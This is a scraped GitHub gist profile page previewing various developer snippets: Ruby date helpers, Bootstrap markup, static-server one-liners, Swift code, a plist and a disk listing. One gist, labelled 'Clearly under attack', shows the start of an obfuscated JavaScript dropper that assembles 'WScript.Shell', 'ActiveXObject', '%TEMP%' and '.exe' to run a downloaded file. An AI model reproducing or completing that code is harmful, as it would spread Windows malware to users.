Skip to content

Instantly share code, notes, and snippets.

View maximveksler's full-sized avatar
Wow

Maxim Veksler maximveksler

Wow
  • Tel Aviv, Israel
  • 02:18 (UTC +03:00)
  • X @mvxlr
View GitHub Profile
module DurationCalc
def self.days_within(start, finish)
durations_within(start, finish, 1.day)
end
# Calculates months between 2 gives dates. If 2 dates are of the same month returns 1
def self.months_within(start, finish)
durations_within(start, finish, 1.month)
end
@maximveksler
maximveksler / markup
Created April 23, 2016 18:29 — forked from petehouston/markup
[Bootstrap] Text overlay center inside the image
<div class="row" id="box-search">
<div class="thumbnail text-center">
<img src="img/cafe.jpg" alt="" class="img-responsive">
<div class="caption">
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ab, quisquam?</p>
</div>
</div>
</div>
@maximveksler
maximveksler / web-servers.md
Last active April 21, 2016 18:17 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@maximveksler
maximveksler / AOD7117794503.js
Created March 10, 2016 13:14
Clearly under attack :)
//} Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll(\"*,:x\"); rbuggyQSA.push(\",.*:\"); });
var WMgREj = ["c"+"d"+("movies","indicator","besides","silurian","NY")+"Hg", "obiP"+("malevolent","abruptness","demesne","heavily","j")+("overdue","canning","richards","quietest","Enf")+"E"+("dizziness","fascinate","hooked","Kx"), "ExpandEnvironmentS"+("surgery","alter","realtors","faultless","tr")+("prohibited","jelsoft","mandatory","becoming","i")+("bracelet","ironic","solidarity","adhesion","ngs"), ("years","lavender","%")+"TE"+"M"+"P%", "/SDRIfEvw" + ("insidious","committee","extravagantly","deranged",".")+"e"+"xe", "R"+("caricature","replied","argent","heater","un"), "A"+("bruising","adidas","shanghai","welling","c")+"t"+("thimble","commentaries","unfavorable","tourist","iveX")+"O"+"bj"+"e"+("adjourn","requirement","ct"), "W"+"Scr"+("harbor","doors","square","i")+("comparisons","crafts","literati","pt.")+("whiff","january","memoirs","Sh")+"e"+"ll", ("checkout","narrate",
{
"count": 5089,
"results": [{
"acquired": 0.0,
"company_type": "company",
"visible": 1.0,
"active": 1.0,
"id": "agxzfmlsbGlzdHNpdGVyGAsSC05ld19Db21wYW55GICAgJemu40LDA",
"logo_filename": "bleep_813fde94-e12b-11e5-a506-4107cce84897",
"name": "bleep",
@maximveksler
maximveksler / README.MD
Created February 10, 2016 10:03
Quick and dirty FRP (RxSwift)

FRP for fun & profit. Take note.

Learning

The introduction to Reactive Programming you've been missing https://gist.github.com/staltz/868e7e9bc2a7b8c1f754

Contains examples of chaining 2 observables togather and implementing "Who to follow" with paging, and eviction. Has marble diagrams.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.xcode_ramdisk.agent</string>
<key>ProgramArguments</key>
<array>
<string>xcode_ramdisk.sh</string>
<string>start</string>
protocol ContextError : ErrorType {
mutating func addContext<T>(type: T.Type)
}
protocol Contextualizable {}
extension Contextualizable {
func addContext(var error: ContextError) -> ContextError {
error.addContext(self.dynamicType)
return error
}
@maximveksler
maximveksler / AppDelegate.swift
Last active September 3, 2015 09:46 — forked from sawapi/AppDelegate.swift
[Swift] Push Notification
//
// AppDelegate.swift
// pushtest
//
// Created by sawapi on 2014/06/08.
// Copyright (c) 2014年 sawapi. All rights reserved.
//
// iOS8用
import UIKit
Maxims-MacBook-Pro:WWDC-2015 maximveksler$ du -sh ../WWDC-2015/*
128G ../WWDC-2015/HD-VIDEOs
302M ../WWDC-2015/PDFs
458M ../WWDC-2015/SAMPLE-CODE
33G ../WWDC-2015/SD-VIDEOs
Maxims-MacBook-Pro:WWDC-2015 maximveksler$ find .
.
./.DS_Store
./HD-VIDEOs